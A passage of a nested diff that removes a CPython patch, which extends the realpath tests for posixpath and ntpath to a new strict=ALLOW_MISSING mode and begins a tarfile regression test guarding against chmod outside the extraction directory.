-+    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_symlink_prefix(self, kwargs):
-         ABSTFN = ntpath.abspath(os_helper.TESTFN)
-         self.addCleanup(os_helper.unlink, ABSTFN + "3")
-         self.addCleanup(os_helper.unlink, "\\\\?\\" + ABSTFN + "3.")
-@@ -738,9 +886,9 @@ def test_realpath_symlink_prefix(self):
-             f.write(b'1')
-         os.symlink("\\\\?\\" + ABSTFN + "3.", ABSTFN + "3.link")
- 
--        self.assertPathEqual(ntpath.realpath(ABSTFN + "3link"),
-+        self.assertPathEqual(ntpath.realpath(ABSTFN + "3link", **kwargs),
-                              ABSTFN + "3")
--        self.assertPathEqual(ntpath.realpath(ABSTFN + "3.link"),
-+        self.assertPathEqual(ntpath.realpath(ABSTFN + "3.link", **kwargs),
-                              "\\\\?\\" + ABSTFN + "3.")
- 
-         # Resolved paths should be usable to open target files
-@@ -750,14 +898,17 @@ def test_realpath_symlink_prefix(self):
-             self.assertEqual(f.read(), b'1')
- 
-         # When the prefix is included, it is not stripped
--        self.assertPathEqual(ntpath.realpath("\\\\?\\" + ABSTFN + "3link"),
-+        self.assertPathEqual(ntpath.realpath("\\\\?\\" + ABSTFN + "3link", **kwargs),
-                              "\\\\?\\" + ABSTFN + "3")
--        self.assertPathEqual(ntpath.realpath("\\\\?\\" + ABSTFN + "3.link"),
-+        self.assertPathEqual(ntpath.realpath("\\\\?\\" + ABSTFN + "3.link", **kwargs),
-                              "\\\\?\\" + ABSTFN + "3.")
- 
-     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
-     def test_realpath_nul(self):
-         tester("ntpath.realpath('NUL')", r'\\.\NUL')
-+        tester("ntpath.realpath('NUL', strict=False)", r'\\.\NUL')
-+        tester("ntpath.realpath('NUL', strict=True)", r'\\.\NUL')
-+        tester("ntpath.realpath('NUL', strict=ALLOW_MISSING)", r'\\.\NUL')
- 
-     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
-     @unittest.skipUnless(HAVE_GETSHORTPATHNAME, 'need _getshortpathname')
-@@ -781,12 +932,20 @@ def test_realpath_cwd(self):
- 
-         self.assertPathEqual(test_file_long, ntpath.realpath(test_file_short))
- 
--        with os_helper.change_cwd(test_dir_long):
--            self.assertPathEqual(test_file_long, ntpath.realpath("file.txt"))
--        with os_helper.change_cwd(test_dir_long.lower()):
--            self.assertPathEqual(test_file_long, ntpath.realpath("file.txt"))
--        with os_helper.change_cwd(test_dir_short):
--            self.assertPathEqual(test_file_long, ntpath.realpath("file.txt"))
-+        for kwargs in {}, {'strict': True}, {'strict': ALLOW_MISSING}:
-+            with self.subTest(**kwargs):
-+                with os_helper.change_cwd(test_dir_long):
-+                    self.assertPathEqual(
-+                        test_file_long,
-+                        ntpath.realpath("file.txt", **kwargs))
-+                with os_helper.change_cwd(test_dir_long.lower()):
-+                    self.assertPathEqual(
-+                        test_file_long,
-+                        ntpath.realpath("file.txt", **kwargs))
-+                with os_helper.change_cwd(test_dir_short):
-+                    self.assertPathEqual(
-+                        test_file_long,
-+                        ntpath.realpath("file.txt", **kwargs))
- 
-     @unittest.skipUnless(HAVE_GETFINALPATHNAME, 'need _getfinalpathname')
-     def test_realpath_permission(self):
-@@ -807,12 +966,15 @@ def test_realpath_permission(self):
-         # Automatic generation of short names may be disabled on
-         # NTFS volumes for the sake of performance.
-         # They're not supported at all on ReFS and exFAT.
--        subprocess.run(
-+        p = subprocess.run(
-             # Try to set the short name manually.
-             ['fsutil.exe', 'file', 'setShortName', test_file, 'LONGFI~1.TXT'],
-             creationflags=subprocess.DETACHED_PROCESS
-         )
- 
-+        if p.returncode:
-+            raise unittest.SkipTest('failed to set short name')
-+
-         try:
-             self.assertPathEqual(test_file, ntpath.realpath(test_file_short))
-         except AssertionError:
-diff --git a/Lib/test/test_posixpath.py b/Lib/test/test_posixpath.py
-index f3f9895f529470..c45ce6d3ef7820 100644
---- a/Lib/test/test_posixpath.py
-+++ b/Lib/test/test_posixpath.py
-@@ -4,7 +4,8 @@
- import random
- import sys
- import unittest
--from posixpath import realpath, abspath, dirname, basename
-+from functools import partial
-+from posixpath import realpath, abspath, dirname, basename, ALLOW_MISSING
- from test import support
- from test import test_genericpath
- from test.support import import_helper
-@@ -33,6 +34,27 @@ def skip_if_ABSTFN_contains_backslash(test):
-     msg = "ABSTFN is not a posix path - tests fail"
-     return [test, unittest.skip(msg)(test)][found_backslash]
- 
-+
-+def _parameterize(*parameters):
-+    """Simplistic decorator to parametrize a test
-+
-+    Runs the decorated test multiple times in subTest, with a value from
-+    'parameters' passed as an extra positional argument.
-+    Does *not* call doCleanups() after each run.
-+
-+    Not for general use. Intended to avoid indenting for easier backports.
-+
-+    See https://discuss.python.org/t/91827 for discussing generalizations.
-+    """
-+    def _parametrize_decorator(func):
-+        def _parameterized(self, *args, **kwargs):
-+            for parameter in parameters:
-+                with self.subTest(parameter):
-+                    func(self, *args, parameter, **kwargs)
-+        return _parameterized
-+    return _parametrize_decorator
-+
-+
- class PosixPathTest(unittest.TestCase):
- 
-     def setUp(self):
-@@ -442,32 +464,35 @@ def test_normpath(self):
-                 self.assertEqual(result, expected)
- 
-     @skip_if_ABSTFN_contains_backslash
--    def test_realpath_curdir(self):
--        self.assertEqual(realpath('.'), os.getcwd())
--        self.assertEqual(realpath('./.'), os.getcwd())
--        self.assertEqual(realpath('/'.join(['.'] * 100)), os.getcwd())
-+    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_curdir(self, kwargs):
-+        self.assertEqual(realpath('.', **kwargs), os.getcwd())
-+        self.assertEqual(realpath('./.', **kwargs), os.getcwd())
-+        self.assertEqual(realpath('/'.join(['.'] * 100), **kwargs), os.getcwd())
- 
--        self.assertEqual(realpath(b'.'), os.getcwdb())
--        self.assertEqual(realpath(b'./.'), os.getcwdb())
--        self.assertEqual(realpath(b'/'.join([b'.'] * 100)), os.getcwdb())
-+        self.assertEqual(realpath(b'.', **kwargs), os.getcwdb())
-+        self.assertEqual(realpath(b'./.', **kwargs), os.getcwdb())
-+        self.assertEqual(realpath(b'/'.join([b'.'] * 100), **kwargs), os.getcwdb())
- 
-     @skip_if_ABSTFN_contains_backslash
--    def test_realpath_pardir(self):
--        self.assertEqual(realpath('..'), dirname(os.getcwd()))
--        self.assertEqual(realpath('../..'), dirname(dirname(os.getcwd())))
--        self.assertEqual(realpath('/'.join(['..'] * 100)), '/')
-+    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_pardir(self, kwargs):
-+        self.assertEqual(realpath('..', **kwargs), dirname(os.getcwd()))
-+        self.assertEqual(realpath('../..', **kwargs), dirname(dirname(os.getcwd())))
-+        self.assertEqual(realpath('/'.join(['..'] * 100), **kwargs), '/')
- 
--        self.assertEqual(realpath(b'..'), dirname(os.getcwdb()))
--        self.assertEqual(realpath(b'../..'), dirname(dirname(os.getcwdb())))
--        self.assertEqual(realpath(b'/'.join([b'..'] * 100)), b'/')
-+        self.assertEqual(realpath(b'..', **kwargs), dirname(os.getcwdb()))
-+        self.assertEqual(realpath(b'../..', **kwargs), dirname(dirname(os.getcwdb())))
-+        self.assertEqual(realpath(b'/'.join([b'..'] * 100), **kwargs), b'/')
- 
-     @os_helper.skip_unless_symlink
-     @skip_if_ABSTFN_contains_backslash
--    def test_realpath_basic(self):
-+    @_parameterize({}, {'strict': ALLOW_MISSING})
-+    def test_realpath_basic(self, kwargs):
-         # Basic operation.
-         try:
-             os.symlink(ABSTFN+"1", ABSTFN)
--            self.assertEqual(realpath(ABSTFN), ABSTFN+"1")
-+            self.assertEqual(realpath(ABSTFN, **kwargs), ABSTFN+"1")
-         finally:
-             os_helper.unlink(ABSTFN)
- 
-@@ -487,90 +512,115 @@ def test_realpath_invalid_paths(self):
-         path = '/\x00'
-         self.assertRaises(ValueError, realpath, path, strict=False)
-         self.assertRaises(ValueError, realpath, path, strict=True)
-+        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
-         path = b'/\x00'
-         self.assertRaises(ValueError, realpath, path, strict=False)
-         self.assertRaises(ValueError, realpath, path, strict=True)
-+        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
-         path = '/nonexistent/x\x00'
-         self.assertRaises(ValueError, realpath, path, strict=False)
-         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
-+        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
-         path = b'/nonexistent/x\x00'
-         self.assertRaises(ValueError, realpath, path, strict=False)
-         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
-+        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
-         path = '/\x00/..'
-         self.assertRaises(ValueError, realpath, path, strict=False)
-         self.assertRaises(ValueError, realpath, path, strict=True)
-+        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
-         path = b'/\x00/..'
-         self.assertRaises(ValueError, realpath, path, strict=False)
-         self.assertRaises(ValueError, realpath, path, strict=True)
-+        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
-+
-         path = '/nonexistent/x\x00/..'
-         self.assertRaises(ValueError, realpath, path, strict=False)
-         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
-+        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
-         path = b'/nonexistent/x\x00/..'
-         self.assertRaises(ValueError, realpath, path, strict=False)
-         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
-+        self.assertRaises(ValueError, realpath, path, strict=ALLOW_MISSING)
- 
-         path = '/\udfff'
-         if sys.platform == 'win32':
-             self.assertEqual(realpath(path, strict=False), path)
-             self.assertRaises(FileNotFoundError, realpath, path, strict=True)
-+            self.assertEqual(realpath(path, strict=ALLOW_MISSING), path)
-         else:
-             self.assertRaises(UnicodeEncodeError, realpath, path, strict=False)
-             self.assertRaises(UnicodeEncodeError, realpath, path, strict=True)
-+            self.assertRaises(UnicodeEncodeError, realpath, path, strict=ALLOW_MISSING)
-         path = '/nonexistent/\udfff'
-         if sys.platform == 'win32':
-             self.assertEqual(realpath(path, strict=False), path)
-+            self.assertEqual(realpath(path, strict=ALLOW_MISSING), path)
-         else:
-             self.assertRaises(UnicodeEncodeError, realpath, path, strict=False)
-+            self.assertRaises(UnicodeEncodeError, realpath, path, strict=ALLOW_MISSING)
-         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
-         path = '/\udfff/..'
-         if sys.platform == 'win32':
-             self.assertEqual(realpath(path, strict=False), '/')
-             self.assertRaises(FileNotFoundError, realpath, path, strict=True)
-+            self.assertEqual(realpath(path, strict=ALLOW_MISSING), '/')
-         else:
-             self.assertRaises(UnicodeEncodeError, realpath, path, strict=False)
-             self.assertRaises(UnicodeEncodeError, realpath, path, strict=True)
-+            self.assertRaises(UnicodeEncodeError, realpath, path, strict=ALLOW_MISSING)
-         path = '/nonexistent/\udfff/..'
-         if sys.platform == 'win32':
-             self.assertEqual(realpath(path, strict=False), '/nonexistent')
-+            self.assertEqual(realpath(path, strict=ALLOW_MISSING), '/nonexistent')
-         else:
-             self.assertRaises(UnicodeEncodeError, realpath, path, strict=False)
-+            self.assertRaises(UnicodeEncodeError, realpath, path, strict=ALLOW_MISSING)
-         self.assertRaises(FileNotFoundError, realpath, path, strict=True)
- 
-         path = b'/\xff'
-         if sys.platform == 'win32':
-             self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
-             self.assertRaises(UnicodeDecodeError, realpath, path, strict=True)
-+            self.assertRaises(UnicodeDecodeError, realpath, path, strict=ALLOW_MISSING)
-         else:
-             self.assertEqual(realpath(path, strict=False), path)
-             if support.is_wasi:
-                 self.assertRaises(OSError, realpath, path, strict=True)
-+                self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
-             else:
-                 self.assertRaises(FileNotFoundError, realpath, path, strict=True)
-+                self.assertEqual(realpath(path, strict=ALLOW_MISSING), path)
-         path = b'/nonexistent/\xff'
-         if sys.platform == 'win32':
-             self.assertRaises(UnicodeDecodeError, realpath, path, strict=False)
-+            self.assertRaises(UnicodeDecodeError, realpath, path, strict=ALLOW_MISSING)
-         else:
-             self.assertEqual(realpath(path, strict=False), path)
-         if support.is_wasi:
-             self.assertRaises(OSError, realpath, path, strict=True)
-+            self.assertRaises(OSError, realpath, path, strict=ALLOW_MISSING)
-         else:
-             self.assertRaises(FileNotFoundError, realpath, path, strict=True)
- 
-     @os_helper.skip_unless_symlink
-     @skip_if_ABSTFN_contains_backslash
--    def test_realpath_relative(self):
-+    @_parameterize({}, {'strict': ALLOW_MISSING})
-+    def test_realpath_relative(self, kwargs):
-         try:
-             os.symlink(posixpath.relpath(ABSTFN+"1"), ABSTFN)
--            self.assertEqual(realpath(ABSTFN), ABSTFN+"1")
-+            self.assertEqual(realpath(ABSTFN, **kwargs), ABSTFN+"1")
-         finally:
-             os_helper.unlink(ABSTFN)
- 
-     @os_helper.skip_unless_symlink
-     @skip_if_ABSTFN_contains_backslash
--    def test_realpath_missing_pardir(self):
-+    @_parameterize({}, {'strict': ALLOW_MISSING})
-+    def test_realpath_missing_pardir(self, kwargs):
-         try:
-             os.symlink(TESTFN + "1", TESTFN)
--            self.assertEqual(realpath("nonexistent/../" + TESTFN), ABSTFN + "1")
-+            self.assertEqual(
-+                realpath("nonexistent/../" + TESTFN, **kwargs), ABSTFN + "1")
-         finally:
-             os_helper.unlink(TESTFN)
- 
-@@ -617,37 +667,38 @@ def test_realpath_symlink_loops(self):
- 
-     @os_helper.skip_unless_symlink
-     @skip_if_ABSTFN_contains_backslash
--    def test_realpath_symlink_loops_strict(self):
-+    @_parameterize({'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_symlink_loops_strict(self, kwargs):
-         # Bug #43757, raise OSError if we get into an infinite symlink loop in
--        # strict mode.
-+        # the strict modes.
-         try:
-             os.symlink(ABSTFN, ABSTFN)
--            self.assertRaises(OSError, realpath, ABSTFN, strict=True)
-+            self.assertRaises(OSError, realpath, ABSTFN, **kwargs)
- 
-             os.symlink(ABSTFN+"1", ABSTFN+"2")
-             os.symlink(ABSTFN+"2", ABSTFN+"1")
--            self.assertRaises(OSError, realpath, ABSTFN+"1", strict=True)
--            self.assertRaises(OSError, realpath, ABSTFN+"2", strict=True)
-+            self.assertRaises(OSError, realpath, ABSTFN+"1", **kwargs)
-+            self.assertRaises(OSError, realpath, ABSTFN+"2", **kwargs)
- 
--            self.assertRaises(OSError, realpath, ABSTFN+"1/x", strict=True)
--            self.assertRaises(OSError, realpath, ABSTFN+"1/..", strict=True)
--            self.assertRaises(OSError, realpath, ABSTFN+"1/../x", strict=True)
-+            self.assertRaises(OSError, realpath, ABSTFN+"1/x", **kwargs)
-+            self.assertRaises(OSError, realpath, ABSTFN+"1/..", **kwargs)
-+            self.assertRaises(OSError, realpath, ABSTFN+"1/../x", **kwargs)
-             os.symlink(ABSTFN+"x", ABSTFN+"y")
-             self.assertRaises(OSError, realpath,
--                              ABSTFN+"1/../" + basename(ABSTFN) + "y", strict=True)
-+                              ABSTFN+"1/../" + basename(ABSTFN) + "y", **kwargs)
-             self.assertRaises(OSError, realpath,
--                              ABSTFN+"1/../" + basename(ABSTFN) + "1", strict=True)
-+                              ABSTFN+"1/../" + basename(ABSTFN) + "1", **kwargs)
- 
-             os.symlink(basename(ABSTFN) + "a/b", ABSTFN+"a")
--            self.assertRaises(OSError, realpath, ABSTFN+"a", strict=True)
-+            self.assertRaises(OSError, realpath, ABSTFN+"a", **kwargs)
- 
-             os.symlink("../" + basename(dirname(ABSTFN)) + "/" +
-                        basename(ABSTFN) + "c", ABSTFN+"c")
--            self.assertRaises(OSError, realpath, ABSTFN+"c", strict=True)
-+            self.assertRaises(OSError, realpath, ABSTFN+"c", **kwargs)
- 
-             # Test using relative path as well.
-             with os_helper.change_cwd(dirname(ABSTFN)):
--                self.assertRaises(OSError, realpath, basename(ABSTFN), strict=True)
-+                self.assertRaises(OSError, realpath, basename(ABSTFN), **kwargs)
-         finally:
-             os_helper.unlink(ABSTFN)
-             os_helper.unlink(ABSTFN+"1")
-@@ -658,13 +709,14 @@ def test_realpath_symlink_loops_strict(self):
- 
-     @os_helper.skip_unless_symlink
-     @skip_if_ABSTFN_contains_backslash
--    def test_realpath_repeated_indirect_symlinks(self):
-+    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_repeated_indirect_symlinks(self, kwargs):
-         # Issue #6975.
-         try:
-             os.mkdir(ABSTFN)
-             os.symlink('../' + basename(ABSTFN), ABSTFN + '/self')
-             os.symlink('self/self/self', ABSTFN + '/link')
--            self.assertEqual(realpath(ABSTFN + '/link'), ABSTFN)
-+            self.assertEqual(realpath(ABSTFN + '/link', **kwargs), ABSTFN)
-         finally:
-             os_helper.unlink(ABSTFN + '/self')
-             os_helper.unlink(ABSTFN + '/link')
-@@ -672,14 +724,15 @@ def test_realpath_repeated_indirect_symlinks(self):
- 
-     @os_helper.skip_unless_symlink
-     @skip_if_ABSTFN_contains_backslash
--    def test_realpath_deep_recursion(self):
-+    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_deep_recursion(self, kwargs):
-         depth = 10
-         try:
-             os.mkdir(ABSTFN)
-             for i in range(depth):
-                 os.symlink('/'.join(['%d' % i] * 10), ABSTFN + '/%d' % (i + 1))
-             os.symlink('.', ABSTFN + '/0')
--            self.assertEqual(realpath(ABSTFN + '/%d' % depth), ABSTFN)
-+            self.assertEqual(realpath(ABSTFN + '/%d' % depth, **kwargs), ABSTFN)
- 
-             # Test using relative path as well.
-             with os_helper.change_cwd(ABSTFN):
-@@ -691,7 +744,8 @@ def test_realpath_deep_recursion(self):
- 
-     @os_helper.skip_unless_symlink
-     @skip_if_ABSTFN_contains_backslash
--    def test_realpath_resolve_parents(self):
-+    @_parameterize({}, {'strict': ALLOW_MISSING})
-+    def test_realpath_resolve_parents(self, kwargs):
-         # We also need to resolve any symlinks in the parents of a relative
-         # path passed to realpath. E.g.: current working directory is
-         # /usr/doc with 'doc' being a symlink to /usr/share/doc. We call
-@@ -702,7 +756,8 @@ def test_realpath_resolve_parents(self):
-             os.symlink(ABSTFN + "/y", ABSTFN + "/k")
- 
-             with os_helper.change_cwd(ABSTFN + "/k"):
--                self.assertEqual(realpath("a"), ABSTFN + "/y/a")
-+                self.assertEqual(realpath("a", **kwargs),
-+                                    ABSTFN + "/y/a")
-         finally:
-             os_helper.unlink(ABSTFN + "/k")
-             os_helper.rmdir(ABSTFN + "/y")
-@@ -710,7 +765,8 @@ def test_realpath_resolve_parents(self):
- 
-     @os_helper.skip_unless_symlink
-     @skip_if_ABSTFN_contains_backslash
--    def test_realpath_resolve_before_normalizing(self):
-+    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_resolve_before_normalizing(self, kwargs):
-         # Bug #990669: Symbolic links should be resolved before we
-         # normalize the path. E.g.: if we have directories 'a', 'k' and 'y'
-         # in the following hierarchy:
-@@ -725,10 +781,10 @@ def test_realpath_resolve_before_normalizing(self):
-             os.symlink(ABSTFN + "/k/y", ABSTFN + "/link-y")
- 
-             # Absolute path.
--            self.assertEqual(realpath(ABSTFN + "/link-y/.."), ABSTFN + "/k")
-+            self.assertEqual(realpath(ABSTFN + "/link-y/..", **kwargs), ABSTFN + "/k")
-             # Relative path.
-             with os_helper.change_cwd(dirname(ABSTFN)):
--                self.assertEqual(realpath(basename(ABSTFN) + "/link-y/.."),
-+                self.assertEqual(realpath(basename(ABSTFN) + "/link-y/..", **kwargs),
-                                  ABSTFN + "/k")
-         finally:
-             os_helper.unlink(ABSTFN + "/link-y")
-@@ -738,7 +794,8 @@ def test_realpath_resolve_before_normalizing(self):
- 
-     @os_helper.skip_unless_symlink
-     @skip_if_ABSTFN_contains_backslash
--    def test_realpath_resolve_first(self):
-+    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_resolve_first(self, kwargs):
-         # Bug #1213894: The first component of the path, if not absolute,
-         # must be resolved too.
- 
-@@ -748,8 +805,8 @@ def test_realpath_resolve_first(self):
-             os.symlink(ABSTFN, ABSTFN + "link")
-             with os_helper.change_cwd(dirname(ABSTFN)):
-                 base = basename(ABSTFN)
--                self.assertEqual(realpath(base + "link"), ABSTFN)
--                self.assertEqual(realpath(base + "link/k"), ABSTFN + "/k")
-+                self.assertEqual(realpath(base + "link", **kwargs), ABSTFN)
-+                self.assertEqual(realpath(base + "link/k", **kwargs), ABSTFN + "/k")
-         finally:
-             os_helper.unlink(ABSTFN + "link")
-             os_helper.rmdir(ABSTFN + "/k")
-@@ -767,12 +824,67 @@ def test_realpath_unreadable_symlink(self):
-             self.assertEqual(realpath(ABSTFN + '/foo'), ABSTFN + '/foo')
-             self.assertEqual(realpath(ABSTFN + '/../foo'), dirname(ABSTFN) + '/foo')
-             self.assertEqual(realpath(ABSTFN + '/foo/..'), ABSTFN)
--            with self.assertRaises(PermissionError):
--                realpath(ABSTFN, strict=True)
-         finally:
-             os.chmod(ABSTFN, 0o755, follow_symlinks=False)
-             os_helper.unlink(ABSTFN)
- 
-+    @os_helper.skip_unless_symlink
-+    @skip_if_ABSTFN_contains_backslash
-+    @unittest.skipIf(os.chmod not in os.supports_follow_symlinks, "Can't set symlink permissions")
-+    @unittest.skipIf(sys.platform != "darwin", "only macOS requires read permission to readlink()")
-+    @_parameterize({'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_realpath_unreadable_symlink_strict(self, kwargs):
-+        try:
-+            os.symlink(ABSTFN+"1", ABSTFN)
-+            os.chmod(ABSTFN, 0o000, follow_symlinks=False)
-+            with self.assertRaises(PermissionError):
-+                realpath(ABSTFN, **kwargs)
-+            with self.assertRaises(PermissionError):
-+                realpath(ABSTFN + '/foo', **kwargs),
-+            with self.assertRaises(PermissionError):
-+                realpath(ABSTFN + '/../foo', **kwargs)
-+            with self.assertRaises(PermissionError):
-+                realpath(ABSTFN + '/foo/..', **kwargs)
-+        finally:
-+            os.chmod(ABSTFN, 0o755, follow_symlinks=False)
-+            os.unlink(ABSTFN)
-+
-+    @skip_if_ABSTFN_contains_backslash
-+    @os_helper.skip_unless_symlink
-+    def test_realpath_unreadable_directory(self):
-+        try:
-+            os.mkdir(ABSTFN)
-+            os.mkdir(ABSTFN + '/k')
-+            os.chmod(ABSTFN, 0o000)
-+            self.assertEqual(realpath(ABSTFN, strict=False), ABSTFN)
-+            self.assertEqual(realpath(ABSTFN, strict=True), ABSTFN)
-+            self.assertEqual(realpath(ABSTFN, strict=ALLOW_MISSING), ABSTFN)
-+
-+            try:
-+                os.stat(ABSTFN)
-+            except PermissionError:
-+                pass
-+            else:
-+                self.skipTest('Cannot block permissions')
-+
-+            self.assertEqual(realpath(ABSTFN + '/k', strict=False),
-+                             ABSTFN + '/k')
-+            self.assertRaises(PermissionError, realpath, ABSTFN + '/k',
-+                              strict=True)
-+            self.assertRaises(PermissionError, realpath, ABSTFN + '/k',
-+                              strict=ALLOW_MISSING)
-+
-+            self.assertEqual(realpath(ABSTFN + '/missing', strict=False),
-+                             ABSTFN + '/missing')
-+            self.assertRaises(PermissionError, realpath, ABSTFN + '/missing',
-+                              strict=True)
-+            self.assertRaises(PermissionError, realpath, ABSTFN + '/missing',
-+                              strict=ALLOW_MISSING)
-+        finally:
-+            os.chmod(ABSTFN, 0o755)
-+            os_helper.rmdir(ABSTFN + '/k')
-+            os_helper.rmdir(ABSTFN)
-+
-     @skip_if_ABSTFN_contains_backslash
-     def test_realpath_nonterminal_file(self):
-         try:
-@@ -780,14 +892,27 @@ def test_realpath_nonterminal_file(self):
-                 f.write('test_posixpath wuz ere')
-             self.assertEqual(realpath(ABSTFN, strict=False), ABSTFN)
-             self.assertEqual(realpath(ABSTFN, strict=True), ABSTFN)
-+            self.assertEqual(realpath(ABSTFN, strict=ALLOW_MISSING), ABSTFN)
-+
-             self.assertEqual(realpath(ABSTFN + "/", strict=False), ABSTFN)
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/",
-+                              strict=ALLOW_MISSING)
-+
-             self.assertEqual(realpath(ABSTFN + "/.", strict=False), ABSTFN)
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.",
-+                              strict=ALLOW_MISSING)
-+
-             self.assertEqual(realpath(ABSTFN + "/..", strict=False), dirname(ABSTFN))
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..",
-+                              strict=ALLOW_MISSING)
-+
-             self.assertEqual(realpath(ABSTFN + "/subdir", strict=False), ABSTFN + "/subdir")
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir",
-+                              strict=ALLOW_MISSING)
-         finally:
-             os_helper.unlink(ABSTFN)
- 
-@@ -800,14 +925,27 @@ def test_realpath_nonterminal_symlink_to_file(self):
-             os.symlink(ABSTFN + "1", ABSTFN)
-             self.assertEqual(realpath(ABSTFN, strict=False), ABSTFN + "1")
-             self.assertEqual(realpath(ABSTFN, strict=True), ABSTFN + "1")
-+            self.assertEqual(realpath(ABSTFN, strict=ALLOW_MISSING), ABSTFN + "1")
-+
-             self.assertEqual(realpath(ABSTFN + "/", strict=False), ABSTFN + "1")
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/",
-+                              strict=ALLOW_MISSING)
-+
-             self.assertEqual(realpath(ABSTFN + "/.", strict=False), ABSTFN + "1")
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.",
-+                              strict=ALLOW_MISSING)
-+
-             self.assertEqual(realpath(ABSTFN + "/..", strict=False), dirname(ABSTFN))
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..",
-+                              strict=ALLOW_MISSING)
-+
-             self.assertEqual(realpath(ABSTFN + "/subdir", strict=False), ABSTFN + "1/subdir")
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir",
-+                              strict=ALLOW_MISSING)
-         finally:
-             os_helper.unlink(ABSTFN)
-             os_helper.unlink(ABSTFN + "1")
-@@ -822,14 +960,27 @@ def test_realpath_nonterminal_symlink_to_symlinks_to_file(self):
-             os.symlink(ABSTFN + "1", ABSTFN)
-             self.assertEqual(realpath(ABSTFN, strict=False), ABSTFN + "2")
-             self.assertEqual(realpath(ABSTFN, strict=True), ABSTFN + "2")
-+            self.assertEqual(realpath(ABSTFN, strict=True), ABSTFN + "2")
-+
-             self.assertEqual(realpath(ABSTFN + "/", strict=False), ABSTFN + "2")
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/",
-+                              strict=ALLOW_MISSING)
-+
-             self.assertEqual(realpath(ABSTFN + "/.", strict=False), ABSTFN + "2")
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/.",
-+                              strict=ALLOW_MISSING)
-+
-             self.assertEqual(realpath(ABSTFN + "/..", strict=False), dirname(ABSTFN))
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/..",
-+                              strict=ALLOW_MISSING)
-+
-             self.assertEqual(realpath(ABSTFN + "/subdir", strict=False), ABSTFN + "2/subdir")
-             self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir", strict=True)
-+            self.assertRaises(NotADirectoryError, realpath, ABSTFN + "/subdir",
-+                              strict=ALLOW_MISSING)
-         finally:
-             os_helper.unlink(ABSTFN)
-             os_helper.unlink(ABSTFN + "1")
-@@ -1017,9 +1168,12 @@ def test_path_normpath(self):
-     def test_path_abspath(self):
-         self.assertPathEqual(self.path.abspath)
- 
--    def test_path_realpath(self):
-+    @_parameterize({}, {'strict': True}, {'strict': ALLOW_MISSING})
-+    def test_path_realpath(self, kwargs):
-         self.assertPathEqual(self.path.realpath)
- 
-+        self.assertPathEqual(partial(self.path.realpath, **kwargs))
-+
-     def test_path_relpath(self):
-         self.assertPathEqual(self.path.relpath)
- 
-diff --git a/Lib/test/test_tarfile.py b/Lib/test/test_tarfile.py
-index cf218a2bf14369..7055e1ed147a9e 100644
---- a/Lib/test/test_tarfile.py
-+++ b/Lib/test/test_tarfile.py
-@@ -2715,6 +2715,31 @@ def test_useful_error_message_when_modules_missing(self):
-             str(excinfo.exception),
-         )
- 
-+    @unittest.skipUnless(os_helper.can_symlink(), 'requires symlink support')
-+    @unittest.skipUnless(hasattr(os, 'chmod'), "missing os.chmod")
-+    @unittest.mock.patch('os.chmod')
-+    def test_deferred_directory_attributes_update(self, mock_chmod):
-+        # Regression test for gh-127987: setting attributes on arbitrary files
-+        tempdir = os.path.join(TEMPDIR, 'test127987')
-+        def mock_chmod_side_effect(path, mode, **kwargs):
-+            target_path = os.path.realpath(path)
-+            if os.path.commonpath([target_path, tempdir]) != tempdir:
-+                raise Exception("should not try to chmod anything outside the destination", target_path)
-+        mock_chmod.side_effect = mock_chmod_side_effect
-+
